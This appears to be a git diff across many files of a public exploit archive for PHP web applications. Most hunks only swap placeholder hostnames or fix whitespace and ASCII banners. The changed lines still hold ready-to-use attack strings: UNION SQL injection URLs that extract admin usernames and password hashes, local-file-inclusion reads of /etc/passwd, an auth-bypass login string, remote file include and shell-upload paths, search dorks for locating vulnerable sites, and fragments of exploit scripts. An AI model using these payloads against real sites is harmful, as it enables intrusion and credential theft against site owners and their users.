a/platforms/php/webapps/12444.txt b/platforms/php/webapps/12444.txt index 0e2d82ab9..42b423a29 100755 --- a/platforms/php/webapps/12444.txt +++ b/platforms/php/webapps/12444.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12448.txt b/platforms/php/webapps/12448.txt index f5c3b6302..c0058440b 100755 --- a/platforms/php/webapps/12448.txt +++ b/platforms/php/webapps/12448.txt @@ -23,7 +23,7 @@ Xploit : Upload Vulnerability Step 1:Register in the site - Step 2:Goto your www.server/profile.php + Step 2:Goto your www.site.com/profile.php Step 3:Open the "ADD WIDGETS option" diff --git a/platforms/php/webapps/12459.txt b/platforms/php/webapps/12459.txt index 1098675a0..3b88491a6 100755 --- a/platforms/php/webapps/12459.txt +++ b/platforms/php/webapps/12459.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12460.txt b/platforms/php/webapps/12460.txt index 237ac997e..ec9081c80 100755 --- a/platforms/php/webapps/12460.txt +++ b/platforms/php/webapps/12460.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12468.txt b/platforms/php/webapps/12468.txt index a5f094996..50e684340 100755 --- a/platforms/php/webapps/12468.txt +++ b/platforms/php/webapps/12468.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12481.txt b/platforms/php/webapps/12481.txt index 13e39bacd..df0ad8b01 100755 --- a/platforms/php/webapps/12481.txt +++ b/platforms/php/webapps/12481.txt @@ -22,4 +22,4 @@ HaMaDa SCoOoRPioN site: www.mixaty.com -E: hackereg@hotmail.com \ No newline at end of file +E: hackereg@hotmail.com \ No newline at end of file diff --git a/platforms/php/webapps/12514.txt b/platforms/php/webapps/12514.txt index 5212d9d4f..622a64e26 100755 --- a/platforms/php/webapps/12514.txt +++ b/platforms/php/webapps/12514.txt @@ -32,18 +32,18 @@ Exploit 2: [ Example 1 : -http://server/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/* +http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/* -http://server/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/* +http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/* Example 2 : -http://server/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/* +http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/* -http://server/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/authors/**/where/**/radminsuper=1/* +http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/authors/**/where/**/radminsuper=1/* ] diff --git a/platforms/php/webapps/12522.txt b/platforms/php/webapps/12522.txt index 6583072e6..54715f00e 100755 --- a/platforms/php/webapps/12522.txt +++ b/platforms/php/webapps/12522.txt @@ -1,4 +1,4 @@ -______ _ _ _ + ______ _ _ _ | ___ \ | | | | (_) | |_/ /_____ _____ | |_ _| |_ _ ___ _ __ | // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \ diff --git a/platforms/php/webapps/12525.txt b/platforms/php/webapps/12525.txt index 037fd5187..222952bad 100755 --- a/platforms/php/webapps/12525.txt +++ b/platforms/php/webapps/12525.txt @@ -11,10 +11,10 @@ # Dork : inurl:friend.php?op=FriendSend =-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-= -Example1: server/friend.php?op=FriendSend&sid=392/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/authors/**/where/**/radminsuper=1/* -Example1: server/friend.php?op=FriendSend&sid=392/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/nuke_authors/**/where/**/radminsuper=1/* +Example1: www.target.com/friend.php?op=FriendSend&sid=392/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/authors/**/where/**/radminsuper=1/* +Example1: www.target.com/friend.php?op=FriendSend&sid=392/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/nuke_authors/**/where/**/radminsuper=1/* =-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-= # Th@nks : AmeN, MUS4LLAT, Kayahan, Sinaritx, JacKaL, Qas&#305;m, Metrp0l, Despot... -# Says : Hemso bak bi dene bug daha xD ... \ No newline at end of file +# Says : Hemso bak bi dene bug daha xD ... \ No newline at end of file diff --git a/platforms/php/webapps/12532.txt b/platforms/php/webapps/12532.txt index 67298ea11..7463ada8e 100755 --- a/platforms/php/webapps/12532.txt +++ b/platforms/php/webapps/12532.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12533.txt b/platforms/php/webapps/12533.txt index a80dad550..6bf556138 100755 --- a/platforms/php/webapps/12533.txt +++ b/platforms/php/webapps/12533.txt @@ -38,4 +38,4 @@ *"""""""""""""""""""" ** Greetz to : ALLAH ** All Members of http://www.DZ4All.cOm/Cc -** And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n & \ No newline at end of file +** And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n & \ No newline at end of file diff --git a/platforms/php/webapps/12534.txt b/platforms/php/webapps/12534.txt index 487e8852d..0425defac 100755 --- a/platforms/php/webapps/12534.txt +++ b/platforms/php/webapps/12534.txt @@ -13,5 +13,5 @@ PHP Link Manager Version 1.7 Url Redirection Bug # POC ########################################################### -www.server/path/go.php?url=Your Url +www.site.com/path/go.php?url=Your Url ########################################################### \ No newline at end of file diff --git a/platforms/php/webapps/12542.rb b/platforms/php/webapps/12542.rb index 0e251a7ce..f34006aa9 100755 --- a/platforms/php/webapps/12542.rb +++ b/platforms/php/webapps/12542.rb @@ -22,7 +22,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/shop/index.php?site=content&id= ++Vulnerability : www.site.com/shop/index.php?site=content&id= ---------------------------------------------------------------------------------------- #!/usr/bin/ruby #4004-security-project.com @@ -41,7 +41,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/12543.rb b/platforms/php/webapps/12543.rb index fb860b12f..7669635fa 100755 --- a/platforms/php/webapps/12543.rb +++ b/platforms/php/webapps/12543.rb @@ -22,7 +22,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/cms/offers_buy.php?id= ++Vulnerability : www.site.com/cms/offers_buy.php?id= ---------------------------------------------------------------------------------------- #!/usr/bin/ruby #4004-security-project.com @@ -41,7 +41,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/cms/ or /)->" diff --git a/platforms/php/webapps/12544.rb b/platforms/php/webapps/12544.rb index 5f172a741..d635d0f11 100755 --- a/platforms/php/webapps/12544.rb +++ b/platforms/php/webapps/12544.rb @@ -22,7 +22,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/cms/offers_buy.php?id= ++Vulnerability : www.site.com/cms/offers_buy.php?id= ---------------------------------------------------------------------------------------- #!/usr/bin/ruby #4004-security-project.com @@ -41,7 +41,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/cms/ or /)->" diff --git a/platforms/php/webapps/12545.rb b/platforms/php/webapps/12545.rb index 6b5060674..dcacc6c13 100755 --- a/platforms/php/webapps/12545.rb +++ b/platforms/php/webapps/12545.rb @@ -22,7 +22,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox. ------------------------------------------------------------------------------------------ -+Vulnerability : www.server/shop/index.php?seite=2&artikel= ++Vulnerability : www.site.com/shop/index.php?seite=2&artikel= ------------------------------------------------------------------------------------------ #!/usr/bin/ruby #4004-security-project.com @@ -41,7 +41,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/shop/)->" diff --git a/platforms/php/webapps/12547.txt b/platforms/php/webapps/12547.txt index a3a3ca9f8..a237e1fb4 100755 --- a/platforms/php/webapps/12547.txt +++ b/platforms/php/webapps/12547.txt @@ -30,4 +30,4 @@ ** http://server/news.asp?id=412+union+select+1,2,username,pw,5,6,7,8,9,10,11+from+adminpassword ** ** -************************************************************ \ No newline at end of file +************************************************************ \ No newline at end of file diff --git a/platforms/php/webapps/12552.txt b/platforms/php/webapps/12552.txt index 775037ea0..c537d8d6c 100755 --- a/platforms/php/webapps/12552.txt +++ b/platforms/php/webapps/12552.txt @@ -21,4 +21,4 @@ http://localhost/teknoportal/makale.php?id=-1+union+select+0,1,version(),3,4,5,6 ------------------------------------------------------------------------------------------- Her&#351;ey Vatan &#304;çin; - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/12553.txt b/platforms/php/webapps/12553.txt index f6e7e5ef4..f425ea915 100755 --- a/platforms/php/webapps/12553.txt +++ b/platforms/php/webapps/12553.txt @@ -16,4 +16,4 @@ Exploit: http://localhost/[PATH]/login.php?include_path= [Shell] -------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12562.txt b/platforms/php/webapps/12562.txt index 92f9289ee..137729761 100755 --- a/platforms/php/webapps/12562.txt +++ b/platforms/php/webapps/12562.txt @@ -35,7 +35,7 @@ live demo :- http://[site]/index.php?conteudo=hhttp://thttp://thttp://phttp://:h Dork: inurl:"index.php?conteudo=" -Exploit: www.server/index.php?conteudo=[LFI] +Exploit: www.Site.com/index.php?conteudo=[LFI] Live Demo: http://[site]/index.php?conteudo=../../../../etc/passwd diff --git a/platforms/php/webapps/12563.txt b/platforms/php/webapps/12563.txt index 3f53bd07b..57952ea6e 100755 --- a/platforms/php/webapps/12563.txt +++ b/platforms/php/webapps/12563.txt @@ -1,4 +1,4 @@ -______ _ _ _ + ______ _ _ _ | ___ \ | | | | (_) | |_/ /_____ _____ | |_ _| |_ _ ___ _ __ | // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \ diff --git a/platforms/php/webapps/12565.txt b/platforms/php/webapps/12565.txt index 15151cbb5..72473cb6a 100755 --- a/platforms/php/webapps/12565.txt +++ b/platforms/php/webapps/12565.txt @@ -22,4 +22,4 @@ http://localhost/[path]/section.php?Module_Text=CoBRa_21&ID=6&Lang=En&Nav=Sectio Thanks cyberlog ;) -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12566.txt b/platforms/php/webapps/12566.txt index 77c51b01d..f2834fd4d 100755 --- a/platforms/php/webapps/12566.txt +++ b/platforms/php/webapps/12566.txt @@ -24,4 +24,4 @@ http://localhost/[path]/index.php?auto_slide=&ID=-1 [SQL] Thanks cyberlog ;) -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12572.txt b/platforms/php/webapps/12572.txt index e4db9e4b6..2b024ce1f 100755 --- a/platforms/php/webapps/12572.txt +++ b/platforms/php/webapps/12572.txt @@ -16,8 +16,8 @@ Free Advertisment cms (user_info.php) SQL Injection Vulnerability [+] Vulnerability: - www.server/[path]/user_info.php?user_id=[SQLi] - www.server/[path]/index.php?catid=[SQLi] + www.site.com/[path]/user_info.php?user_id=[SQLi] + www.site.com/[path]/index.php?catid=[SQLi] ########################################## \ No newline at end of file diff --git a/platforms/php/webapps/12575.txt b/platforms/php/webapps/12575.txt index 137a045ac..b20ae7ee4 100755 --- a/platforms/php/webapps/12575.txt +++ b/platforms/php/webapps/12575.txt @@ -13,7 +13,7 @@ Marinet cms SQL Injection Vulnerability [+] Dork: intext: "Powered by Marinet" -[+] Vulnerability: www.server/[path]/page.php?id=[SQLi] +[+] Vulnerability: www.site.com/[path]/page.php?id=[SQLi] [+] Live Demo: http://[site]/page.php?id=[SQLi] diff --git a/platforms/php/webapps/12576.txt b/platforms/php/webapps/12576.txt index 7d6fbe7d9..f17164353 100755 --- a/platforms/php/webapps/12576.txt +++ b/platforms/php/webapps/12576.txt @@ -13,6 +13,6 @@ Woodall Creative SQL Injection Vulnerability [+] Dork: intext: "Site developed & mantained by Woodall Creative Group" -[+] Vulnerability: www.server/[path]/page.php?id=[SQLi] +[+] Vulnerability: www.site.com/[path]/page.php?id=[SQLi] [+] Live Demo: http://[site]/page.php?id=-999+union+select+1,2,3,4,5,6,7,@@version \ No newline at end of file diff --git a/platforms/php/webapps/12591.txt b/platforms/php/webapps/12591.txt index a59af0f73..20f422163 100755 --- a/platforms/php/webapps/12591.txt +++ b/platforms/php/webapps/12591.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ # (-.-) # # ----------------------oOO---(_)---OOo---------------------- # | __ __ | @@ -33,4 +33,4 @@ line ; 51 and 52 my friend : liar - sm Hacker -baby hacker -dmar - mr.JLD - ALhal alsab - adil - Mr.SaTaN - abo badr - aStoorh alqssim - Ramad Hacker- h-ex - yousfe - Hiter.3rb - QAHER ALRAFDE - DjHacker - My Heart - - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/12596.txt b/platforms/php/webapps/12596.txt index 6d14252bf..820bb8ce5 100755 --- a/platforms/php/webapps/12596.txt +++ b/platforms/php/webapps/12596.txt @@ -51,4 +51,4 @@ and when you put {order+by+1} after id you can see the normal page [~]{[(D!R 4ll 0R D!E)]}; # # [~]--------------------------------------------------------------------------------------------- - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/12597.txt b/platforms/php/webapps/12597.txt index 00ba1da04..47e1cba29 100755 --- a/platforms/php/webapps/12597.txt +++ b/platforms/php/webapps/12597.txt @@ -42,4 +42,4 @@ page.php?id=-4+union+all+select+1,@@version,3,4-- [~]{[(D!R 4ll 0R D!E)]}; # # [~]--------------------------------------------------------------------------------------------- - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/12613.txt b/platforms/php/webapps/12613.txt index 2a783d288..da0b17ea2 100755 --- a/platforms/php/webapps/12613.txt +++ b/platforms/php/webapps/12613.txt @@ -18,5 +18,5 @@ System just yet. CompactCMS is light-weight, truly efficient and fully Ajax loaded. #POC:##################################################### -http://server/admin/includes/tiny_mce/plugins/ +http://site.com/admin/includes/tiny_mce/plugins/ tinybrowser/upload.php \ No newline at end of file diff --git a/platforms/php/webapps/12619.txt b/platforms/php/webapps/12619.txt index 026726026..7b86db1b3 100755 --- a/platforms/php/webapps/12619.txt +++ b/platforms/php/webapps/12619.txt @@ -14,11 +14,11 @@ Cybertek CMS Local File Include Vulnerability ######################################## [+] Vulnerability: -[+] Exploit: www.server/[path]/index.php?page=[LFI] +[+] Exploit: www.Site.com/[path]/index.php?page=[LFI] [+] Demo: http://server/index.php?page=../../../../../../../../../../../etc/passwd [+] Done ... ! :)) -######################################## \ No newline at end of file +######################################## \ No newline at end of file diff --git a/platforms/php/webapps/12624.txt b/platforms/php/webapps/12624.txt index 36ac394ad..df2f35005 100755 --- a/platforms/php/webapps/12624.txt +++ b/platforms/php/webapps/12624.txt @@ -1,4 +1,4 @@ -__ __ ___ + __ __ ___ __ __ /'__`\ /\ \__ /'__`\ /\_\ ___ /\_\/\_\L\ \ ___\ \ ,_\/\ \/\ \ _ __ ___ ___ ___ ___ \/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ /'___\ / __`\ /' __` __`\ diff --git a/platforms/php/webapps/12628.txt b/platforms/php/webapps/12628.txt index 21b00cbba..2c375584f 100755 --- a/platforms/php/webapps/12628.txt +++ b/platforms/php/webapps/12628.txt @@ -19,5 +19,5 @@ needs.EgO features a new WYSIWYG editor (FCKEditor), dynamic RSS 2.0 Syndication, etc.. #POC:##################################################### -http://server/FCKEditor/editor/filemanager/browser/ +http://site.com/FCKEditor/editor/filemanager/browser/ default/connectors/test.html diff --git a/platforms/php/webapps/12629.txt b/platforms/php/webapps/12629.txt index 4d3a9d5db..5cfafe57f 100755 --- a/platforms/php/webapps/12629.txt +++ b/platforms/php/webapps/12629.txt @@ -14,7 +14,7 @@ Tainos Multiple Vulnerabilities ######################################## [+] Local File Include Vulnerability: -[+] Vulnerability: www.server/[path]/Page.php?page=[LFI] +[+] Vulnerability: www.Site.com/[path]/Page.php?page=[LFI] [+] Example: http://[site]/index_offer.php?page=../../../../../../../../../../etc/passwd @@ -25,7 +25,7 @@ Tainos Multiple Vulnerabilities ######################################## [+] SQL Injection Vulnerability: -[+] Vulnerability: /www.server/index.php?id=[SQLi] +[+] Vulnerability: /www.site.com/index.php?id=[SQLi] [+] Example: http://[site]/index.php?id=-9999+union+all+select+1,2,@@version,4,5 diff --git a/platforms/php/webapps/12635.txt b/platforms/php/webapps/12635.txt index 1c1e41dd8..a7e0b6561 100755 --- a/platforms/php/webapps/12635.txt +++ b/platforms/php/webapps/12635.txt @@ -21,7 +21,7 @@ --- Dork : allinurl:readmore.php?news_id -http://server/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/* +http://site.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/* # Thanks to: Cmos_Clr - Hard_Hakerz- Sa4D - Mahmoud_SQL - RA3CH - His0k4 - Virus_Hacker_Dz - diff --git a/platforms/php/webapps/12645.txt b/platforms/php/webapps/12645.txt index f021fe88d..73f1c9a29 100755 --- a/platforms/php/webapps/12645.txt +++ b/platforms/php/webapps/12645.txt @@ -40,7 +40,7 @@ Downloaded # # You can see MySQL Credential by opening /config/DATABASE # -# Ex: www.myserver/config/DATABASE +# Ex: www.mysite.com/config/DATABASE # a:4:{s:10:"mysql_host";s:9:"HOSTNAME_OF_MYSQL_DATABASE";s:10:"mysql_user";s:11:"USERNAME_OF_MYSQL" # diff --git a/platforms/php/webapps/12646.txt b/platforms/php/webapps/12646.txt index c4aaa4b52..581627c9d 100755 --- a/platforms/php/webapps/12646.txt +++ b/platforms/php/webapps/12646.txt @@ -13,6 +13,6 @@ removal is easy to use buttons on the website menu.The system is naturally* multilingual*. #POC:############################################### -http://server/admin/includes/tiny_mce/plugins/tinybrowser/upload.php +http://site.com/admin/includes/tiny_mce/plugins/tinybrowser/upload.php #[EOF] \ No newline at end of file diff --git a/platforms/php/webapps/12656.txt b/platforms/php/webapps/12656.txt index 30be05a1b..b347644fb 100755 --- a/platforms/php/webapps/12656.txt +++ b/platforms/php/webapps/12656.txt @@ -1,4 +1,4 @@ -# Exploit Title: Battle Scrypt Shell Upload Vulnerability + # Exploit Title: Battle Scrypt Shell Upload Vulnerability # Date: 19.05.2010 diff --git a/platforms/php/webapps/12661.txt b/platforms/php/webapps/12661.txt index bd49094ad..5af733ec3 100755 --- a/platforms/php/webapps/12661.txt +++ b/platforms/php/webapps/12661.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12665.pl b/platforms/php/webapps/12665.pl index 7196170e8..d2f1a1270 100755 --- a/platforms/php/webapps/12665.pl +++ b/platforms/php/webapps/12665.pl @@ -31,7 +31,7 @@ print '[*]Greetz 2: Pc-InseCt/alghaking/emptyzero/V!Ru$_T4ckJ3n'; print "\n[*]Greetz 3: To All VBHACKER.NET Members\n"; print "[*]Dork : Powered by: Con-Imedia\n"; print "[*]Usage : k615>[target here]\n"; -print "[*]Exemple : k615> server\n"; +print "[*]Exemple : k615> www.target.com\n"; print "\n"; print "k615>"; diff --git a/platforms/php/webapps/12671.txt b/platforms/php/webapps/12671.txt index ef55ccf8d..b460023bc 100755 --- a/platforms/php/webapps/12671.txt +++ b/platforms/php/webapps/12671.txt @@ -1,4 +1,4 @@ -__ __ + __ __ .----..--.--.| |--..-----..----.| |.-----..-----. | __|| | || _ || -__|| _|| || _ || _ | |____||___ ||_____||_____||__| |__||_____||___ | @@ -41,3 +41,4 @@ am nt hacker just Lik3 Syst3m S3curity |__ --|| -__|| < | | || _|| || _|| || _ || || || || || -__| |_____||_____||__|__||_____||__| |__||____||__||_____||__|__||__||__||__|__||_____| + \ No newline at end of file diff --git a/platforms/php/webapps/12674.txt b/platforms/php/webapps/12674.txt index a780c1d61..507c25732 100755 --- a/platforms/php/webapps/12674.txt +++ b/platforms/php/webapps/12674.txt @@ -1,4 +1,4 @@ - + # ----------------------oOO---(_)---OOo----------------------- # | __ __ | # | _____/ /_____ ______/ /_ __ ______ ______ | diff --git a/platforms/php/webapps/12686.txt b/platforms/php/webapps/12686.txt index 0af2d6566..ce3211ced 100755 --- a/platforms/php/webapps/12686.txt +++ b/platforms/php/webapps/12686.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo----------------------------- | Online University (Auth Bypass) SQL Injection Vulnerability | diff --git a/platforms/php/webapps/12691.txt b/platforms/php/webapps/12691.txt index 5fdaab17c..6b3e0ea05 100755 --- a/platforms/php/webapps/12691.txt +++ b/platforms/php/webapps/12691.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo----------------------------- | Online Job Board (Auth Bypass) SQL Injection Vulnerability | diff --git a/platforms/php/webapps/12695.txt b/platforms/php/webapps/12695.txt index 5f3e7553e..fdc31f70c 100755 --- a/platforms/php/webapps/12695.txt +++ b/platforms/php/webapps/12695.txt @@ -26,4 +26,4 @@ ** user : ' or '1=1 ** password : ' or '1=1 ** -************************************************************ \ No newline at end of file +************************************************************ \ No newline at end of file diff --git a/platforms/php/webapps/12696.txt b/platforms/php/webapps/12696.txt index 1a1980adc..6b79df6a8 100755 --- a/platforms/php/webapps/12696.txt +++ b/platforms/php/webapps/12696.txt @@ -17,7 +17,7 @@ Dork :Designed and Developed by karkia <http://www.karkia.org/> E-commerce Group. Copyright 2007 SQL Injection -http://www.server/path/detail.php?id=1 -->SQL Injection +http://www.Site.com/path/detail.php?id=1 -->SQL Injection Demo:- Password Injection # diff --git a/platforms/php/webapps/12699.txt b/platforms/php/webapps/12699.txt index 71164b184..9f4283410 100755 --- a/platforms/php/webapps/12699.txt +++ b/platforms/php/webapps/12699.txt @@ -26,8 +26,8 @@ allinurl:ewebeditor/asp/ Exploit : --------- -http://server/[path]/asp/upload.asp?type=file&style=coolblue&language=zh-cn +http://site.com/[path]/asp/upload.asp?type=file&style=coolblue&language=zh-cn -http://server/uploads/asp/sec4ever.asp;.jpg +http://site.com/uploads/asp/sec4ever.asp;.jpg ----------------------- Don't Forget : Www.Sec4ever.com/home /// Ur Secure Mind / \ No newline at end of file diff --git a/platforms/php/webapps/12709.txt b/platforms/php/webapps/12709.txt index 958f2c089..d13a5869a 100755 --- a/platforms/php/webapps/12709.txt +++ b/platforms/php/webapps/12709.txt @@ -51,3 +51,4 @@ am nt hacker just Lik3 Syst3m S3curity + \ No newline at end of file diff --git a/platforms/php/webapps/12716.txt b/platforms/php/webapps/12716.txt index 9f2e2ce3d..791ebb279 100755 --- a/platforms/php/webapps/12716.txt +++ b/platforms/php/webapps/12716.txt @@ -19,4 +19,4 @@ http://localhost/[path]/property_more.php?id=-9999 union select 0,version(),2,3, Admin Panel http://localhost/[path]/admin -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12717.txt b/platforms/php/webapps/12717.txt index f6f8c667b..d245b2207 100755 --- a/platforms/php/webapps/12717.txt +++ b/platforms/php/webapps/12717.txt @@ -20,4 +20,4 @@ http://localhost/[path]/index.php?module=content&action=article&id=-80/**/union/ Admin Panel http://localhost/[path]/admin -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12722.txt b/platforms/php/webapps/12722.txt index 96d1f297b..ad4862c43 100755 --- a/platforms/php/webapps/12722.txt +++ b/platforms/php/webapps/12722.txt @@ -15,4 +15,4 @@ Script Home: http://www.interuse.co.il/ Sql Injection: http://localhost/[path]/index2.php?id=6&catId=57&productId=-87%20union%20select%200,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,version%28%29,38,group_concat%28table_name%29,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56%20from%20information_schema.tables -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12724.php b/platforms/php/webapps/12724.php index 66493bf99..c79c369d3 100755 --- a/platforms/php/webapps/12724.php +++ b/platforms/php/webapps/12724.php @@ -8,7 +8,7 @@ if($argc !== 4) { echo "#######################################\n\n"; echo "GET username by id:\tphp ".$argv[0]." url id u\n"; echo "GET password by id:\tphp ".$argv[0]." url id p\n"; - echo "\nExample: php ".$argv[0]." http://server/ 1 p\n\n"; + echo "\nExample: php ".$argv[0]." http://site.com/ 1 p\n\n"; die("#######################################\n"); } $url = $argv[1]."index.php?ukey=news&blog_id="; diff --git a/platforms/php/webapps/12729.txt b/platforms/php/webapps/12729.txt index 7ac09e7f1..fdec41d6b 100755 --- a/platforms/php/webapps/12729.txt +++ b/platforms/php/webapps/12729.txt @@ -19,6 +19,6 @@ http://localhost/[path]/app/classifieds/rentals/?c=-156%20union%20select%200,1,2 Demo : -http://www.server/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15 +http://www.site.com/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15 -------------------------------------------------------------------------------------------- \ No newline at end of file +------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12731.txt b/platforms/php/webapps/12731.txt index b58fb6e89..894f93382 100755 --- a/platforms/php/webapps/12731.txt +++ b/platforms/php/webapps/12731.txt @@ -25,9 +25,9 @@ [~] Example : -[~] http://server/vidgoster.php?vid=1' +[~] http://site.com/vidgoster.php?vid=1' [~][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][~] -[~] Th4nks : Fantastik, MitolocyA, ISYAN, \ No newline at end of file +[~] Th4nks : Fantastik, MitolocyA, ISYAN, \ No newline at end of file diff --git a/platforms/php/webapps/12736.txt b/platforms/php/webapps/12736.txt index 8e5ea5d52..c826b584f 100755 --- a/platforms/php/webapps/12736.txt +++ 